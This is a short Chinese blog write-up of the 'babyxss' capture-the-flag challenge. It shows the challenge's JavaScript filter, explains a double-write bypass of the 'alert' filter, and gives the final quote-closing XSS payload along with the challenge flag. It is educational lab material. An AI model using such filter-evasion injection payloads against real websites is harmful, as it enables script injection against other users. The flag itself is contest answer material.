极客大挑战-babyxss
baby_xss
题目源码:
<script>
function check(input){input = input.replace(/alert/,'');return '<script>console.log("'+input+'");</script>';}
</script>
要求在输入语句引发alert(1)
,由源码可知alert
字符被过滤了,因此采用双写绕过alealertrt(1)
仍然没有引发alert(1)
。检查发现console.log
中多了一对单引号,导致命令没有执行,因此构造payload如下:
'"+alealertrt(1)+"'
闭合两边的单引号
成功!
flag:Syc{W4lc0me_t0_the_w0rld_0f_x3s.}
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/15591797.html